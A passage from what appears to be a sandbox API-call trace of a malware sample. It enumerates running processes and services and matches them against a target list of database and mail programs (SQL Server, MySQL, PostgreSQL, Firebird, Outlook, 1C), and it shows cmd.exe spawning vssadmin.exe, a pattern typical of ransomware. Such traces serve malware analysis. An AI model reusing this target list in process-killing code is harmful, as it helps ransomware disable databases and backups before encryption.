(lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.231] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0053.231] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0053.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0053.231] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0053.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.231] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0053.231] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0053.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0053.231] lstrlenW (lpString="Winmgmt") returned 7 [0053.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0053.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0053.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0053.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0053.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0053.232] lstrlenW (lpString="WPDBusEnum") returned 10 [0053.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.232] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0053.232] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0053.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0053.232] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a5d28 | out: hHeap=0x4b0000) returned 1 [0053.232] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0053.234] Process32FirstW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.235] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.235] lstrlenW (lpString="System") returned 6 [0053.235] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0053.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0053.235] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0053.235] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0053.235] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0053.235] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0053.235] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0053.235] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.236] lstrlenW (lpString="smss.exe") returned 8 [0053.236] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0053.236] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0053.236] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0053.236] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0053.236] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0053.236] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0053.236] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0053.236] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.237] lstrlenW (lpString="csrss.exe") returned 9 [0053.237] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0053.237] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0053.237] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0053.237] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0053.237] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0053.237] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0053.237] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0053.237] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.238] lstrlenW (lpString="wininit.exe") returned 11 [0053.238] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0053.238] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0053.238] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0053.238] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.239] lstrlenW (lpString="csrss.exe") returned 9 [0053.239] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.239] lstrlenW (lpString="winlogon.exe") returned 12 [0053.239] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.240] lstrlenW (lpString="services.exe") returned 12 [0053.240] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.241] lstrlenW (lpString="lsass.exe") returned 9 [0053.241] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.241] lstrlenW (lpString="lsm.exe") returned 7 [0053.241] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.242] lstrlenW (lpString="svchost.exe") returned 11 [0053.242] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.243] lstrlenW (lpString="svchost.exe") returned 11 [0053.243] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.243] lstrlenW (lpString="svchost.exe") returned 11 [0053.243] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.244] lstrlenW (lpString="svchost.exe") returned 11 [0053.244] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.245] lstrlenW (lpString="svchost.exe") returned 11 [0053.245] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.245] lstrlenW (lpString="audiodg.exe") returned 11 [0053.245] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.246] lstrlenW (lpString="svchost.exe") returned 11 [0053.246] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.247] lstrlenW (lpString="svchost.exe") returned 11 [0053.247] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0053.247] lstrlenW (lpString="dwm.exe") returned 7 [0053.247] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0053.248] lstrlenW (lpString="explorer.exe") returned 12 [0053.248] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0053.249] lstrlenW (lpString="spoolsv.exe") returned 11 [0053.249] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.249] lstrlenW (lpString="taskhost.exe") returned 12 [0053.249] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.250] lstrlenW (lpString="svchost.exe") returned 11 [0053.250] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0053.251] lstrlenW (lpString="taskeng.exe") returned 11 [0053.251] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.251] lstrlenW (lpString="taskhost.exe") returned 12 [0053.251] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0053.252] lstrlenW (lpString="chem venues.exe") returned 15 [0053.252] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0053.253] lstrlenW (lpString="month.exe") returned 9 [0053.253] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0053.253] lstrlenW (lpString="glasgow.exe") returned 11 [0053.253] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0053.254] lstrlenW (lpString="rubber.exe") returned 10 [0053.254] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0053.255] lstrlenW (lpString="petroleum.exe") returned 13 [0053.255] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0053.255] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0053.255] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0053.256] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0053.256] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0053.452] lstrlenW (lpString="batman_oliver.exe") returned 17 [0053.452] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0053.453] lstrlenW (lpString="formation.exe") returned 13 [0053.453] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0053.453] lstrlenW (lpString="whole.exe") returned 9 [0053.453] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0053.454] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0053.454] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0053.455] lstrlenW (lpString="disorder.exe") returned 12 [0053.455] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0053.455] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0053.455] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0053.456] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0053.456] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0053.457] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0053.457] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0053.457] lstrlenW (lpString="perspective.exe") returned 15 [0053.457] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0053.458] lstrlenW (lpString="demand-site.exe") returned 15 [0053.458] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0053.459] lstrlenW (lpString="attachment.exe") returned 14 [0053.459] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0053.459] lstrlenW (lpString="valid-permit.exe") returned 16 [0053.459] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0053.460] lstrlenW (lpString="knights.exe") returned 11 [0053.460] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.460] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.460] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0053.461] lstrlenW (lpString="ohbdap.exe") returned 10 [0053.461] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.462] lstrlenW (lpString="cmd.exe") returned 7 [0053.462] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.463] lstrlenW (lpString="conhost.exe") returned 11 [0053.463] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0053.463] lstrlenW (lpString="vssadmin.exe") returned 12 [0053.463] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0053.464] lstrlenW (lpString="VSSVC.exe") returned 9 [0053.464] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.465] lstrlenW (lpString="svchost.exe") returned 11 [0053.465] Process32NextW (in: hSnapshot=0x180, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0053.465] CloseHandle (hObject=0x180) returned 1 [0053.465] Sleep (dwMilliseconds=0x1f4) [0054.124] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ff700 [0054.125] EnumServicesStatusExW (in: hSCManager=0x4ff700, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0054.125] GetLastError () returned 0xea [0054.125] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x5a5d28 [0054.126] EnumServicesStatusExW (in: hSCManager=0x4ff700, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a5d28, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a5d28, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0054.126] CloseServiceHandle (hSCObject=0x4ff700) returned 1 [0054.126] lstrlenW (lpString="Appinfo") returned 7 [0054.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0054.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0054.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0054.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0054.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0054.127] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0054.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.127] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0054.127] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0054.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0054.127] lstrlenW (lpString="AudioSrv") returned 8 [0054.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0054.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0054.127] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0054.127] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0054.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0054.127] lstrlenW (lpString="BFE") returned 3 [0054.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0054.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0054.127] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0054.127] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0054.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0054.127] lstrlenW (lpString="CryptSvc") 